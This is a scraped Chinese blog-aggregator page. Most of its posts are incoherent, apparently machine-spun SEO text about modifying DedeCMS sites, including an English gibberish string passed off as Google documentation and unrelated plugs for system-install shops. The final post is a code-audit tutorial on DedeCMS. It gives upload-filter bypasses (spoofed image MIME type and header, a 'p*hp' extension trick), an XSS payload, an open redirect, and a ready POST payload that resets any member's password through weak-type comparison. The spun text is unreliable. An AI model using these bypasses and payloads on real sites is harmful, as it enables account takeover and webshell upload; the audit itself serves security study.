主要针对的规避问题有:人员变更、公司整体架构变更、过多不同规模的公司在同一网站上面过度架构变更、网站设计过于庞大、所有有可能发生变动的业务逻辑都放在同一平台实现(比如物流规划、p2p贷款等)等等。为了设计方便,设计师,产品经理等需要跟网站的设计人员沟通将尽量降低改动,保证接口的透明性,保证双方的确理解了相关业务(即不涉及到过高的利益纠葛或是相对不差钱的情况下),上述问题都可以通过开放接口的方式来规避,详细的应用方式可以看看谷歌的文档:shouldcustomerareconfidentthatweareabletoconfidentthatthecompanydoesnotrequireanynewavailabilityintheirsites,andtoprotectcustomerrightsfromdevelopmentthewebsitesbyallowingchangesintheuserpresenceintheplaceofthecompany'sallavailablestakeholders.优秀网站有这样一个好习惯,在工程实践中,往往会设置一个相对固定的工程人力,比如开一个url,让全公司的各种user做一个决定让各个页面要不要迁移到新页面去的选择。
修改sql层写入数据,更改lamp认证登录方式及更多功能
网站优化 • 优采云 发表了文章 • 0 个评论 • 61 次浏览 • 2022-08-18 16:00
织梦系统网站内容更改进行重构,利用响应式布局,统一分区域管理。修改sql层写入数据,更改lamp认证登录方式及更多功能。网站更新更快,添加infoserver_srs/wp或wp认证,可做对接。网站更具活力,数据更快增长。
做了个demo,目前不限流。wp自带站长工具、info网站日志都不限流。用了一段时间,体验比较好。其实整个布局比前两年非常多样化,前后台都在一起了。我算是用不惯过去js上传图片到后台的站长。如果用自己的库,后台也会简单很多。我测试的图片先在前台上传,再用info导出。总结了一下很多老站,这次优化真的做得不错。
修改了百度审核机制、修改了转向非常快的wp管理后台、优化导出机制、优化了包装文件的打包导出、优化网站session关系、优化了收藏后不及时访问等。还是前后台同步了。优化完之后,几个地方:网站重构、加快速度、sql分库分表、多ip用户导入。据说网站用了s3,不过自己优化好了现在,不会考虑用了。小结一下:1,页面内容不一样。
2,网站分发导出。3,wp和百度。4,sql增量导入。5,几个版本共享一个站点。6,s3:用国内的阿里云或腾讯云,或者其他公有云。7,从服务商导入一个站点。8,无增量导入,s3导入,站点其实要修改,不会导入网站其他版本。一块一块的来写总结:优化,真的很能接受。1,网站页面重构变成响应式。2,内容导出,网站导出为图片,加速网站同步和更新。
3,整个网站使用wp自带wap,原网站从非wap导入。4,无论是内容本身,还是页面逻辑,必须去百度hi上关联到域名,不过现在域名也可以api方式接入了。4,ga数据,标题、pv、uv每天持续递增,但流量来源还是次要,重要看转化效果,还有停留时间和跳出率。5,导出wap网站和站内页面,除了更新,还有官方提供的一个功能:排行榜。
6,最近一年改主页,最近的优化、内容一并改了,优化完后,现在已经不修改网站主页。7,wp也和515a改完全球化了,估计也是一个大优化吧。主页换成了全球商城的首页吧,也会重新优化一下第一张图的网站标题,其它的保持不变。8,wp后台有个移动版的ssl加密连接,虽然网站api还没搞定,但是网站的关键信息存在文件,我希望把pojie、首页、微信等外链文件加密一下,避免ga后台显示一堆乱码,关注内容、用户,在线表单校验、实时统计、分区域管理等也简单化点。
9,标题不能作为内容关键字,但是做了src和url转发规则,关键字总归不对、页面不小心用错了也要改标题。做一个干干净净的网站用户体验真的太。 查看全部
修改sql层写入数据,更改lamp认证登录方式及更多功能
织梦系统网站内容更改进行重构,利用响应式布局,统一分区域管理。修改sql层写入数据,更改lamp认证登录方式及更多功能。网站更新更快,添加infoserver_srs/wp或wp认证,可做对接。网站更具活力,数据更快增长。
做了个demo,目前不限流。wp自带站长工具、info网站日志都不限流。用了一段时间,体验比较好。其实整个布局比前两年非常多样化,前后台都在一起了。我算是用不惯过去js上传图片到后台的站长。如果用自己的库,后台也会简单很多。我测试的图片先在前台上传,再用info导出。总结了一下很多老站,这次优化真的做得不错。

修改了百度审核机制、修改了转向非常快的wp管理后台、优化导出机制、优化了包装文件的打包导出、优化网站session关系、优化了收藏后不及时访问等。还是前后台同步了。优化完之后,几个地方:网站重构、加快速度、sql分库分表、多ip用户导入。据说网站用了s3,不过自己优化好了现在,不会考虑用了。小结一下:1,页面内容不一样。
2,网站分发导出。3,wp和百度。4,sql增量导入。5,几个版本共享一个站点。6,s3:用国内的阿里云或腾讯云,或者其他公有云。7,从服务商导入一个站点。8,无增量导入,s3导入,站点其实要修改,不会导入网站其他版本。一块一块的来写总结:优化,真的很能接受。1,网站页面重构变成响应式。2,内容导出,网站导出为图片,加速网站同步和更新。

3,整个网站使用wp自带wap,原网站从非wap导入。4,无论是内容本身,还是页面逻辑,必须去百度hi上关联到域名,不过现在域名也可以api方式接入了。4,ga数据,标题、pv、uv每天持续递增,但流量来源还是次要,重要看转化效果,还有停留时间和跳出率。5,导出wap网站和站内页面,除了更新,还有官方提供的一个功能:排行榜。
6,最近一年改主页,最近的优化、内容一并改了,优化完后,现在已经不修改网站主页。7,wp也和515a改完全球化了,估计也是一个大优化吧。主页换成了全球商城的首页吧,也会重新优化一下第一张图的网站标题,其它的保持不变。8,wp后台有个移动版的ssl加密连接,虽然网站api还没搞定,但是网站的关键信息存在文件,我希望把pojie、首页、微信等外链文件加密一下,避免ga后台显示一堆乱码,关注内容、用户,在线表单校验、实时统计、分区域管理等也简单化点。
9,标题不能作为内容关键字,但是做了src和url转发规则,关键字总归不对、页面不小心用错了也要改标题。做一个干干净净的网站用户体验真的太。
织梦系统网站内容更改
网站优化 • 优采云 发表了文章 • 0 个评论 • 77 次浏览 • 2022-08-11 06:27
织梦系统网站内容更改需要去技术支持那里才可以进行。让他们给你查。不然只能一遍一遍的修改。很麻烦。费时费力还修改不好。2。制作网站都是需要经过系统编写的,有专业的程序猿制作网站。所以呢程序猿就要学习装系统还有电脑安装管理软件。比如爱福特u盘启动安装器,学苑e-link插电脑安装机械硬盘。都是需要在学苑e-link插电脑安装机械硬盘。
3。还有一点就是要会装系统。其中知识还有新技术也是有很多要求的。还有你也要明白为什么别人安装可以正常的运行。就是运行在系统里面的还有一些关键的文件是都得解压解析出来。不然系统运行就会出问题。你还得要明白安装上去后还有什么是需要的,否则就会安装失败。还有就是安装的时候很多时候需要用pe安装,不然pe安装不了或者是装上去的时候连不上网。
也就是网络有问题。还有就是你安装的时候是没有装驱动程序。那么当有厂家提供这种驱动安装包的时候。你就不会安装了。所以我要告诉你如何学习呢。就是直接去淘宝上去找。就是那种提供驱动和安装的店。如果没有提供一般都需要在tb上买个安装棒。不过学苑e-link他家还是很好的。电脑里面都是有这种驱动安装棒的。而且对自己电脑运行是很有帮助的。
电脑里面安装了驱动,自己系统里面所有的电脑外设自己是一个完整的使用。别人的电脑你是可以重装系统到本地对应的电脑。安装软件这些都是可以的。对于有装过电脑的人来说。都非常简单的。学苑e-link插电脑安装机械硬盘。就是这样的。4。如果你是你的电脑安装机械硬盘,又想恢复系统。但是自己又找不到能够进行恢复的那些pe安装。
到这里你可以去淘宝找家电脑店里面没有提供电脑电脑里面所有电脑外设外设。专门提供电脑电脑里面所有电脑外设外设。免费给你安装系统。还可以系统卸载。要是想学习的朋友我可以推荐个地方。学苑e-link插电脑安装机械硬盘。如果是装系统的话。可以到网上去找家。效果也是一样的。 查看全部
织梦系统网站内容更改
织梦系统网站内容更改需要去技术支持那里才可以进行。让他们给你查。不然只能一遍一遍的修改。很麻烦。费时费力还修改不好。2。制作网站都是需要经过系统编写的,有专业的程序猿制作网站。所以呢程序猿就要学习装系统还有电脑安装管理软件。比如爱福特u盘启动安装器,学苑e-link插电脑安装机械硬盘。都是需要在学苑e-link插电脑安装机械硬盘。

3。还有一点就是要会装系统。其中知识还有新技术也是有很多要求的。还有你也要明白为什么别人安装可以正常的运行。就是运行在系统里面的还有一些关键的文件是都得解压解析出来。不然系统运行就会出问题。你还得要明白安装上去后还有什么是需要的,否则就会安装失败。还有就是安装的时候很多时候需要用pe安装,不然pe安装不了或者是装上去的时候连不上网。
也就是网络有问题。还有就是你安装的时候是没有装驱动程序。那么当有厂家提供这种驱动安装包的时候。你就不会安装了。所以我要告诉你如何学习呢。就是直接去淘宝上去找。就是那种提供驱动和安装的店。如果没有提供一般都需要在tb上买个安装棒。不过学苑e-link他家还是很好的。电脑里面都是有这种驱动安装棒的。而且对自己电脑运行是很有帮助的。

电脑里面安装了驱动,自己系统里面所有的电脑外设自己是一个完整的使用。别人的电脑你是可以重装系统到本地对应的电脑。安装软件这些都是可以的。对于有装过电脑的人来说。都非常简单的。学苑e-link插电脑安装机械硬盘。就是这样的。4。如果你是你的电脑安装机械硬盘,又想恢复系统。但是自己又找不到能够进行恢复的那些pe安装。
到这里你可以去淘宝找家电脑店里面没有提供电脑电脑里面所有电脑外设外设。专门提供电脑电脑里面所有电脑外设外设。免费给你安装系统。还可以系统卸载。要是想学习的朋友我可以推荐个地方。学苑e-link插电脑安装机械硬盘。如果是装系统的话。可以到网上去找家。效果也是一样的。
织梦系统网站内容更改后要重新管理不要看我只是很简单
网站优化 • 优采云 发表了文章 • 0 个评论 • 73 次浏览 • 2022-08-05 15:02
织梦系统网站内容更改后要重新管理不要看我只是很简单的讲解下网站内容管理第一步:修改你的域名域名首位是.com你看到的是.cn是通用管理控制码但是公司的域名只能是.com公司把域名备案之后就可以更改域名。第二步:把网站域名解析到新的服务器上把你以前的解析到新服务器上第三步:管理你的域名只要在新服务器上把网站域名解析过来,基本上就可以万事大吉了,还有一些隐藏功能需要我们用新服务器的启动才能打开。还有一些特殊的方法你就自己找找吧!。
1.明确你网站需要的内容如果对你现在网站需要的内容不是很清楚,建议寻找技术人员帮助2.如果想全面、多样的管理你的网站,建议购买能全程管理域名(cname)的服务器,
入门试用,不收费!是在注册了域名后,没有购买虚拟主机建站,然后更换网站域名,没有任何限制的服务。
一般都是先搭建好wordpress平台,有了这个平台会自动帮你搭建服务器(域名)。具体操作可以找专业做虚拟主机的公司。
请问你用的是哪个国内虚拟主机商,我同样用的这个网站,
联系当地的云主机支持商更换域名
好像要买国外主机才可以这个域名以前的主机都没有用
这个暂时不存在的,有些网站现在要解析到新的服务器的,只是域名没有更换而已。 查看全部
织梦系统网站内容更改后要重新管理不要看我只是很简单
织梦系统网站内容更改后要重新管理不要看我只是很简单的讲解下网站内容管理第一步:修改你的域名域名首位是.com你看到的是.cn是通用管理控制码但是公司的域名只能是.com公司把域名备案之后就可以更改域名。第二步:把网站域名解析到新的服务器上把你以前的解析到新服务器上第三步:管理你的域名只要在新服务器上把网站域名解析过来,基本上就可以万事大吉了,还有一些隐藏功能需要我们用新服务器的启动才能打开。还有一些特殊的方法你就自己找找吧!。
1.明确你网站需要的内容如果对你现在网站需要的内容不是很清楚,建议寻找技术人员帮助2.如果想全面、多样的管理你的网站,建议购买能全程管理域名(cname)的服务器,

入门试用,不收费!是在注册了域名后,没有购买虚拟主机建站,然后更换网站域名,没有任何限制的服务。
一般都是先搭建好wordpress平台,有了这个平台会自动帮你搭建服务器(域名)。具体操作可以找专业做虚拟主机的公司。
请问你用的是哪个国内虚拟主机商,我同样用的这个网站,

联系当地的云主机支持商更换域名
好像要买国外主机才可以这个域名以前的主机都没有用
这个暂时不存在的,有些网站现在要解析到新的服务器的,只是域名没有更换而已。
织梦系统网站内容更改经过打磨,也进行了统一规范
网站优化 • 优采云 发表了文章 • 0 个评论 • 71 次浏览 • 2022-08-03 21:05
织梦系统网站内容更改经过打磨,也进行了统一规范。通过审核通过后,需要本人的接入号进行身份认证绑定。页面通过率也有所提高。在后续的营销战略中,也将更加注重用户体验与服务体验的结合。
入库、审核、验证都走第三方,链接是来自电商平台平台,
提供接入号,
我觉得,首先在你理解上面定义的透明应该属于商业秘密,至于内容,估计无法进行分析判断。
自己有对接号
好像是需要一个专门的平台来提供接入号吧,
没进行了解不发言
联通特别透明其他家谁敢
联通比其他都透明
骗子太多,自求多福吧。
没进行联想吗。
某宝上能让你对接的透明平台千千万,你需要花时间筛选。网易严选,某宝某多,某东某多某宝某多直接侵权另一篇文章,中科院或者后继者里谈到量子信息与量子通信。
xx科技下面xx重创二十多亿
某宝上又是四五百买,其中几千块是返还给某宝的,另外四百多再某宝的优惠卷里分期付款,
不说联通有没有比联通透明的,
长图短视频搜索——快剪视频
某平台对接的日报,推荐码是没有返还的联通接入有效期应该比某平台短几年吧,毕竟接入的时候客户那边一定要绑定号码。 查看全部
织梦系统网站内容更改经过打磨,也进行了统一规范
织梦系统网站内容更改经过打磨,也进行了统一规范。通过审核通过后,需要本人的接入号进行身份认证绑定。页面通过率也有所提高。在后续的营销战略中,也将更加注重用户体验与服务体验的结合。
入库、审核、验证都走第三方,链接是来自电商平台平台,
提供接入号,
我觉得,首先在你理解上面定义的透明应该属于商业秘密,至于内容,估计无法进行分析判断。
自己有对接号

好像是需要一个专门的平台来提供接入号吧,
没进行了解不发言
联通特别透明其他家谁敢
联通比其他都透明
骗子太多,自求多福吧。
没进行联想吗。

某宝上能让你对接的透明平台千千万,你需要花时间筛选。网易严选,某宝某多,某东某多某宝某多直接侵权另一篇文章,中科院或者后继者里谈到量子信息与量子通信。
xx科技下面xx重创二十多亿
某宝上又是四五百买,其中几千块是返还给某宝的,另外四百多再某宝的优惠卷里分期付款,
不说联通有没有比联通透明的,
长图短视频搜索——快剪视频
某平台对接的日报,推荐码是没有返还的联通接入有效期应该比某平台短几年吧,毕竟接入的时候客户那边一定要绑定号码。
通过DedeCMS学习php代码审计
网站优化 • 优采云 发表了文章 • 0 个评论 • 62 次浏览 • 2022-06-18 07:39
2)会员中心,默认是关闭该功能的,需要后台打开
3)管理员后台
跟踪前台index.php的流程
首先跟一遍index.php的流程,index.php首先会加载common.inc.php,就先看看这个文件会做什么
include/common.inc.php
// 定义常量// 检查GPC数据是否为cfg等系统定义变量CheckRequest()// 使用addslashes()过滤GPC数据,并注册GPC数据到程序变量_RunMagicQuotes()// 如果存在文件上传的变量,加载文件上传的安全函数if($_FILES){require_once(DEDEINC.'/uploadsafe.inc.php');}// 数据库配置文件,里面是数据库账号密码相关变量信息require_once(DEDEDATA.'/common.inc.php');// 自动加载类库处理require_once(DEDEINC.'/autoload.inc.php');// 引入数据库类,这步会直接连接数据库,并返回一个数据库对象$db=$dsqlrequire_once(DEDEINC.'/dedesqli.class.php');// 全局常用函数require_once(DEDEINC.'/common.func.php');// 模块MVC框架需要的控制器和模型基类require_once(DEDEINC.'/control.class.php');require_once(DEDEINC.'/model.class.php');
common.inc.php 做了很多程序的初始化工作,代码审计时需要重点关注程序处理GPC这些外部数据的方式
common.inc.php 全局处理数据的代码:
foreach(Array('_GET','_POST','_COOKIE') as $_request){ foreach($$_request as $_k => $_v) { if($_k == 'nvarname') ${$_k} = $_v; else ${$_k} = _RunMagicQuotes($_v); }}
可以看到这个时期的DEDECMS也是使用了$$直接注册了GPC的变量,有可能存在变量覆盖的问题
uploadsafe.inc.php
这里再关心下文件上传的安全函数
include/uploadsafe.inc.php
$cfg_not_allowall为上传文件名后缀的黑名单,后面具体分析限制的逻辑
$imtypes为一些图片的MIME类型
$cfg_not_allowall = "php|pl|cgi|asp|aspx|jsp|php3|shtm|shtml";$keyarr = array('name', 'type', 'tmp_name', 'size');foreach($_FILES as $_key=>$_value){ $$_key = $_FILES[$_key]['tmp_name']; ${$_key.'_name'} = $_FILES[$_key]['name']; ${$_key.'_type'} = $_FILES[$_key]['type'] = preg_rep1ace('#[^0-9a-z\./]#i', '', $_FILES[$_key]['type']); ${$_key.'_size'} = $_FILES[$_key]['size'] = preg_rep1ace('#[^0-9]#','',$_FILES[$_key]['size']); if(!empty(${$_key.'_name'}) && (preg_match("#\.(".$cfg_not_allowall.")$#i",${$_key.'_name'}) || !preg_match("#\.#", ${$_key.'_name'})) ) { if(!defined('DEDEADMIN')) { exit('Not Admin Upload filetype not allow !'); } } $imtypes = array ( "image/pjpeg", "image/jpeg", "image/gif", "image/png", "image/xpng", "image/wbmp", "image/bmp" ); if(in_array(strtolower(trim(${$_key.'_type'})), $imtypes)) { $image_dd = @getimagesize($$_key); if (!is_array($image_dd)) { exit('Upload filetype not allow !'); } }}
这里结合实际例子来分析上诉代码,上传一个名为2.jpg的正常文件,$_FILES数组如下图
uploadsafe.inc.php会注册$_FILES中数据到全局变量,在实例中便会注册以下变量
$litpic = "/Applications/MAMP/tmp/php/php8bhoXG"$litpic_name = "2.jpg"$litpic_type = "image/jepg"$litpic_stze = "4"
然后先看第一个文件上传的限制:
if( !empty(${$_key.'_name'}) && ( preg_match("#\.(".$cfg_not_allowall.")$#i",${$_key.'_name'}) || !preg_match("#\.#", ${$_key.'_name'}) ) ){ if(!defined('DEDEADMIN')){ exit('Not Admin Upload filetype not allow !'); }}
第一个if语句块:
条件1:$_FILES[$_key]['name']即2.jpg,若上传的文件名不为空,该条件为真
条件2是个或条件,满足其一即可
条件2.1:$_FILES[$_key]['name']即2.jpg,若后缀名在黑名单中该条件为真
条件2.2:$_FILES[$_key]['name']即2.jpg,若没有符号.,即无后缀文件,该条件为真
通过第一个if判断会进入第二个if判断,DEDEADMIN常量未定义会直接退出程序。全局搜索了DEDEADMIN常量,如果是在后台模块,该常量会在dede/config.php就已经定义了。如果在前台首页或者更用户中心页面,该变量没有定义
所以第一个文件上传限制的是:如果用户上传的功能点不在后台,上传的文件将会受到黑名单限制
再来看看第二个文件上传的限制:
$imtypes = array ( "image/pjpeg", "image/jpeg", "image/gif", "image/png", "image/xpng", "image/wbmp", "image/bmp" ); if(in_array(strtolower(trim(${$_key.'_type'})), $imtypes)) { $image_dd = @getimagesize($$_key); if (!is_array($image_dd)) { exit('Upload filetype not allow !'); } }
若$_FILES[$_key]['type']即image/jpeg,在$imtypes中,则进入下一层判断。
$$_key此时为上传的临时文件,来自$_FILES[$_key]['tmp_name'],临时文件将通过getimagesize()来获取图像信息,作为安全人员,应该要对这个函数敏感一点了,getimagesize()识别到图像时,会返回一个包含图片信息的数组,当传入的文件不为图像时,会返回false,但是该函数可以通过伪造文件头绕过
所以第二个文件上传的限制意图为,当上传的文件MIME类型为图片时,将会通过getimagesize()二次验证传入的是否为图片
综上,可以看出这个底层的文件上传安全函数并没有限制的很死,大概的限制意思为:如果用户上传的功能点不在后台,上传的文件将会受到黑名单限制。如果当前文件为图片类型,则会通过getimagesize()再次判断文件是否为图片类型。若上传的文件在后台,MIME类型不为图片则没有限制
加载视图类文件
dedecms还会加载一个视图类文件include/arc.partview.class.php,里面定义了一个视图类class PartView
然后就会实例化一个视图加载类$pv = new PartView();,然后利用$pv去加载html这种静态模板,呈现到网页中。这里算是把视图和程序分开了
至于具体怎么实现的,因为和代码审计相关不大,而且我也没有看懂,这里就不讲究它的逻辑了
小结
整个流程下来感觉dedecms符合那个时代的cms特点,而且也是全局注册了外部变量。dedecms有特点之处在于使用视图类把html和php文件划分。但index.php文件明显只是一个静态文件,没有较多功能的实现,也没有像phpcms那样index.php作为入口文件负责接收请求转发到其他功能代码中
那程序中的功能到底是怎么实现的呢?
最后黑盒测试一下前台的功能点,功能点不多,也明显看处前台是一个多入口处理,每个功能是分开的
跟踪后台流程
dedecms的后台入口位于dede/index.php,默认后台目录为dede,官方建议修改后台目录,在寻找dedecms的后台目录时可以在字典加上dede爆破一下
dede/index.php
require_once(dirname(__FILE__)."/config.php");// 加inc_menu_map.php和载静态模板require(DEDEADMIN.'/inc/inc_menu_map.php');include(DEDEADMIN.'/templets/index2.htm');
后台入口文件的初始化主要加载dede/config.php,这里重点关注下这个文件
dede/config.php
dede/config.php
可以看到config.php也会加载common.inc.php文件,从而处理了外部数据
同时需要关注的是config.php会验证用户的登陆情况,所以后台文件基本都会包含这个config.php
// 加载common.inc.phprequire_once(DEDEADMIN.'/../include/common.inc.php');// 加载管理员登陆类,里面定义了userLogin类和很多验证用户权限的函数require_once(DEDEINC.'/userlogin.class.php');// 实例化userLogin对象$cuserLogin = new userLogin();// 验证登陆情况,未登陆跳转到登陆页面if($cuserLogin --- xxx) header("location:login.php?gotopage=".urlencode($dedeNowurl));// 下面则为登陆后的程序处理// 定义csrf和xss防御函数function csrf_check()function XSSClean($val)
通过iframe构造完整后台页面
不过从上面来看后台入口文件还是很单薄,没有实现什么具体功能,也没有转发请求的功能。然后我就使用谷歌调试工具看了下dedecms后台到底加载了哪些文件,原来才发现这个时期的cms还在使用iframe框架,dedecms后台入口文件通过使用iframe框架加载了菜单地图文件和管理后台主体文件,分别为dede/index_menu.php和dede/index_body.php
上图的代码来自index.php加载的templets/index2.htm文件
dede/index_menu.php和dede/index_body.php通过iframe被嵌入在index.php页面中,可以看到的是dedecms在后台基本还是使用的多入口文件去处理每个功能,只是使用iframe框架让所有功能在index.php页面下显示了而已
小结
通过全局分析,感觉dedecms这个系统还是比较”老气“的,和phpcms的处理方式还是有很大不同的,感觉上phpcms的处理更加接近mvc的思想,虽然看到dedecms也声称做了mvc的架构,菜鸡的我是否还看不到那一层
0x02 漏洞审计
本次将采用结合功能点进行代码审计的思路,试一试这种思路的特点
任意文件上传
普普通通的绕过
后台:【核心】-【常用操作】-【所有档案列表】-【添加文档】,该功能可以发布文章,而且具有文件上传的功能
该处首先具有前端限制,上传 .jpg 后缀文件,结合brup抓包,发现处理上传功能的文件为dede/archives_do.php
然后结合调试,来看看具体代码
dede/archives_do.php
入口文件通过 config.php 会实现权限认证和一些外部参数过滤注册
我们这里上传文件会带有$_FILES参数,上面通过全局分析得知会触发uploadsafe.inc.php的过滤
过滤后,通过AdminUpload()实现最终文件上传
require_once(dirname(__FILE__).'/config.php');else if($dopost=="uploadLitpic"){ $upfile = AdminUpload('litpic', 'imagelit', 0, false );
include/helpers/upload.helper.php
最终实现文件上传的AdminUpload()来自upload.helper.php
传入AdminUpload()的$ftype固定为imagelit,则一定会进入对应的检测判断
在检测判断代码中,$sparr定义了一个MIME Type白名单,若上传文件的MIME Type不在白名单中直接退出,MIME Type我们可控,所以这里一定要设置MIME Type为图片类型
但这里要注意的一点是,当MIME Type为图片类型时,在安全过滤文件uploadsafe.inc.php检测中,还会通过getimagesize()再次判断文件是否为图片类型,不够这里我们也可以绕过
function AdminUpload($uploadname, $ftype='image', $rnddd=0, $watermark=TRUE, $filetype='' ){ if($ftype=='image' || $ftype=='imagelit') { $sparr = Array('image/pjpeg', 'image/jpeg', 'image/gif', 'image/png', 'image/xpng', 'image/wbmp'); if(!in_array($file_type, $sparr)) return 0; } $fileurl = $filedir.'/'.$filename.'.'.$file_sname; $rs = move_uploaded_file($file_tmp, $cfg_basedir.$fileurl);
最后梳理一下,该功能点,系统只做了两个限制,MIMI Type为图片类型,可控。但MIME Type为图片类型时会通过getimagesize()检测,这里也可绕过。下面将来复现一下,看是否可以利用
漏洞验证
保证Content-Type为图片类型,构造图片的文件头,绕过文件上传的限制,并且会返回上传文件名和路径
访问这个文件,完美
小结一下:分析这一大堆,似乎还没有黑盒测来的快。。。一般黑盒直接来个GIF89a可能就中奖了
尴尬的文件上传
接着看看后台有什么功能点,然后又发现一个文件上传的位置:【核心】-【常用操作】-【附件管理】- 【文件式管理器】
突然发现这里竟然可以直接上传任意文件。。。。这个系统这么刚的吗?
看了半天代码很尴尬,然后我就不太想看后台的文件上传了。。。。
有趣的文件上传
后面翻阅dedecms历史漏洞,发现会员中心处存在一个文件上传漏洞。后面仔细研究了一下,其实也只有管理员权限才能上传,实际利用鸡肋,有管理员权限了不如直接进入后台任意文件上传,不过这个漏洞产生的原因可以学学
漏洞位于会员中心处,需要在dedecms打开会员功能,另外需要使用管理员账号打卡会员中心的页面
进入member/article_add.php发布文章,选择下面的富文本编辑器插入图片
选择好文件并上传抓包
处理该文件上传的文件为select_images_post.php,下面具体看看代码
include/dialog/select_images_post.php
看代码大致知道系统只允许上传图片格式的文件,然后具体有3个限制条件:
加载include/dialog/config.php,该文件会验证管理员身份,同时config.php会加载common.inc.php做基础的文件上传过滤。由全局分析知道,我们此时没有位于管理员目录,上传文件后缀名有黑名单限制,不能为php,目前知道服务器只解析php后缀文件
但在下面第二行代码,会去除一些特殊符号,那我们可以上传p*hp这样的后缀,可以绕过上面的判断,然后再这一步正好又变成了能解析的后缀,漏洞关键点就在这里
$cfg_imgtype为jpg|gif|png,但这里匹配十分轻松,只要存在.jpg这样的字样就能绕过,并没有限制是后缀名
最后对mime type类型做了检测,最终上传文件
require_once(dirname(__FILE__)."/config.php");$imgfile_name = trim(preg_rep1ace("#[ \r\n\t\*\%\\\/\?>LoadTemp1ate($tplfile);$dtp->SetVar('id',$id);$dtp->SetVar('type',$type);$dtp->Disp1ay();
可以看到这里的触发点$dtp->SetVar('type',$type);,然而在seay这种代码扫描工具中是不会在意这些点的,同样有些框架对sql操作也做了很好的封装,如果只是依靠seay的结果来做代码审计,可能会忽略掉很多关键点
最后有图有真相
http://dede.test:8888/plus/qrc ... alert(1)%3C/ScRiPt%3E
url 重定向漏洞
seay似乎没有 url 重定向漏洞的扫描,不过该漏洞审计也比较简单,主要关注能重定向的一些关键词,再看重定向地址是否可控
这里看一个dedecms出名的url重定向漏洞,网上有很多讲解,xray都有poc
plus/download.php
对$link做了base64解码
程序中有一个很奇怪的限制,in_array($linkinfo['host'], $allowed),然而download.php中却没有$linkinfo这个参数
else if($open==1){ $id = isset($id) && is_numeric($id) ? $id : 0; $link = base64_decode(urldecode($link)); if ( !in_array($linkinfo['host'], $allowed) ) { ShowMsg('非下载地址,禁止访问','javascript:;'); exit; } header("location:$link");
dedecms后台也有一些url重定向漏洞,这里就不多关注这个洞了
会员中心任意用户密码修改
这也是dedecms比较出名的一个漏洞,如果通过黑盒测试,可能并测不出这个漏洞,此处漏洞最好的方式就是通过灰盒的方式测试
功能点位于会员中心找回密码处,dedecms默认是关闭会员中心的,需要在后台开启会员中心,为了方便测试,开放了用户注册
来看下关键代码:
member/resetpassword.php
1、加载member/config.php,注意这个 config 文件位于 member 目录,不同于全局分析的 config 文件,这个文件会检测用户在用户中心模块的登陆情况,查询的数据表为dede_member,而后台模块查询的数据表是dede_admin,要注意区分开dede的各个模块查询的数据表和包含的文件
可以看到resetpassword.php主要有4个处理逻辑,由$dopost控制,$dopost可控
1)$dopost默认为空,进入第一个if语句,会加载resetpassword.htm,用于显示找回密码的页面
2)$dopost == "getpwd",进入第二个处理逻辑,这是找回密码第一步默认处理逻辑,
3)$dopost == "safequestion",进入第三个处理逻辑
4)$dopost == "getpasswd",将会进入找回密码第二步
// member/resetpassword.phprequire_once(dirname(__FILE__)."/config.php");if($dopost == ""){ include(dirname(__FILE__)."/templets/resetpassword.htm");}elseif($dopost == "getpwd"){ // 找回密码第一步}else if($dopost == "safequestion"){ // 密码问题判断}else if($dopost == "getpasswd"){ // 找回密码第二步}
2、抓取找回密码第一步的请求包,默认dopost为getpwd
进入 getpwd的if语句块,如果设置了密码会加载resetpassword3.htm页面,这是输入安全问题的表单,会提交$dopost == "safequestion",则进入第3个处理逻辑
没有设置安全密码会退出程序,$dopost=="getpwd"似乎走不通,但参数都可以控,可以考虑直接进入$dopost == "safequestion"
// member/resetpassword.phpelseif($dopost == "getpwd"){ //以邮件方式取回密码; if($type == 1){} //以安全问题取回密码; else if ($type == 2) { if($member['safequestion'] == 0) { showmsg('对不起您尚未设置安全密码,请通过邮件方式重设密码', 'login.php'); exit; } require_once(dirname(__FILE__)."/templets/resetpassword3.htm"); }}
3、关注$dopost == "safequestion" 的if语句块,$row['safequestion'] 为数据库查询用户设置的安全问题,如果没有设置则为空,然后这里使用==弱类型比较,有可能绕过这里的判断
// member/resetpassword.phpif(empty($safequestion)) $safequestion = '';if(empty($safeanswer)) $safeanswer = '';if($row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer){ sn($mid, $row['userid'], $row['email'], 'N'); exit();}
当用户没有设置安全问题时,数据库默认的safequestion="0",safeanswer="",在php中这种数据在弱类型比较很容易相等的
safeanswer="",传入$safeanswer为空即可弱类型相等
safequestion="0",但是不能传入$safequestion为0,这样会导致empty()判断为空,最终被赋值为空,这里利用了一个知识点,记录下:
==在php中当左右都是只由数字组成的字符串进行弱类型比较时,会转换成数字比较==
"0" == "00" //true"0" == "0.0" //true"0" == "0e1" //true
所以传入上面其中一个都可以绕过判断,最终的post的数据修改如下,其中id设置为任意值就可以修改为任意用户,id=1默认为admin用户,不过amdin用户在会员中心模块默认不能登陆,意义不大
post 数据的POC:
dopost=safequestion&gourl=&userid=test1&mail=test1@qq.com&vdcode=ya21&type=2&safeanswer=0&id=2&safequestion=00
发送次数据包后,在dede_pwd_tmp表中会生成临时的数据,其中pwd为8位随机字符串的key通过md5加密后的值
4、绕过弱类型判断后,会返回一个地址
注意里面的id和key参数,这里的key为上面的pwd在md5加密前的值,id为上面的mid,也对应了dede_member表中的用户,通过这两个值,保证在找回密码处能准确修改对应用户的密码
进入这个地址,注意修改下实体编码,然后会进入找回密码第二步,然后直接修改密码就可以了
小结:最终梳理下来,这里其实就是在用户没有设置密码问题时,后台数据库默认保存为空,并且后台在进行密保问题判断时采用弱类型比较,导致可以绕过,最终结果是,凡是没有设置密码问题的用户,都有密码被任意修改的风险
会员中心任意用户登陆
会员中心模块的入口文件为member/index.php,在全局分析的时候并没有分析这个入口,但逻辑应该也大差不差
这里简单分析下会员中心模块入口文件判断用户登陆状态的关键逻辑,一般会先判断用户是否登陆,如果登陆则呈现用户界面。如果未登陆,则跳转到登陆接口,等待用户输入登陆凭证并验证,验证通过后,给当前用户记录cookie信息,用户后续使用cookie正常访问
在dedecms中会员中心模块的入口文件差不多也是这个逻辑,dedecms主要使用include/memberlogin.class.php中MemberLogin类来处理这些逻辑,下面来具体看下代码
入口文件逻辑
入口文件主要分为3个逻辑处理,首先通过$uid可以查看对应用户的会员空间,$uid对应数据表dede_member中的userid,即用户名
当$uid为空时,首先会判断用户的登陆状态,如果未登陆就加载登陆框,如果已经登陆,则展现对应用户的个人主页
当$uid不为空时,会加载config_space.php文件,其中这个文件会通过GetUserSpaceInfos()获取到$uid用户的空间信息
